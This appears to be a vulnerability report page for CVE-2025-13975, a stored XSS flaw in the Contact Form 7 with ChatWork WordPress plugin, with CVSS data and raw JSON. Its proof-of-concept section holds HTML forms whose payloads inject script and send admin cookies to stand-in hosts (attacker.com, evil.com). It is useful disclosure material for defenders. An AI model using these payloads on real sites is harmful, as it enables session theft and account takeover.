Security Vulnerability Report
中文
CVE-2025-13975 CVSS 4.4 MEDIUM

CVE-2025-13975

Published: 2025-12-12 04:15:45
Last Modified: 2026-04-15 00:35:42

Description

The Contact Form 7 with ChatWork plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'api_token' and 'roomid' settings in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses the settings page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Contact Form 7 with ChatWork plugin <= 1.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13975 PoC: Stored XSS in Contact Form 7 with ChatWork --> <!-- Requires administrator privileges --> <!-- Steps: --> <!-- 1. Login to WordPress admin panel --> <!-- 2. Navigate to Contact Form 7 with ChatWork settings page --> <!-- 3. Inject XSS payload in 'api_token' or 'roomid' field --> <!-- 4. Save settings --> <!-- 5. XSS will execute when anyone accesses the settings page --> <!-- Method 1: Using script tag --> <form method="post" action="/wp-admin/admin.php?page=contact-form-7-chatwork"> <input type="hidden" name="api_token" value='"><script>alert(document.cookie)</script><x y='> <input type="hidden" name="roomid" value="test"> <input type="hidden" name="submit" value="Save"> <button type="submit">Exploit</button> </form> <!-- Method 2: Using event handler --> <form method="post" action="/wp-admin/admin.php?page=contact-form-7-chatwork"> <input type="hidden" name="api_token" value='" onmouseover="alert(document.domain)" x="'> <input type="hidden" name="roomid" value='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'> <input type="hidden" name="submit" value="Save"> <button type="submit">Exploit</button> </form> <!-- Method 3: Cookie stealing payload --> <form method="post" action="/wp-admin/admin.php?page=contact-form-7-chatwork"> <input type="hidden" name="api_token" value='"><script>fetch("https://evil.com/log?c="+btoa(document.cookie))</script><x>'> <input type="hidden" name="roomid" value="12345"> <input type="hidden" name="submit" value="Save"> <button type="submit">Exploit</button> </form>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13975", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:45.347", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Contact Form 7 with ChatWork plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'api_token' and 'roomid' settings in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses the settings page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-with-chatwork/tags/1.1.0/contact-form-7-chatwork.php#L80", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-with-chatwork/tags/1.1.0/contact-form-7-chatwork.php#L89", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-with-chatwork/trunk/contact-form-7-chatwork.php#L80", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f5d8616b-8757-426e-a4ae-bd851d35e296?source=cve", "source": "[email protected]"}]}}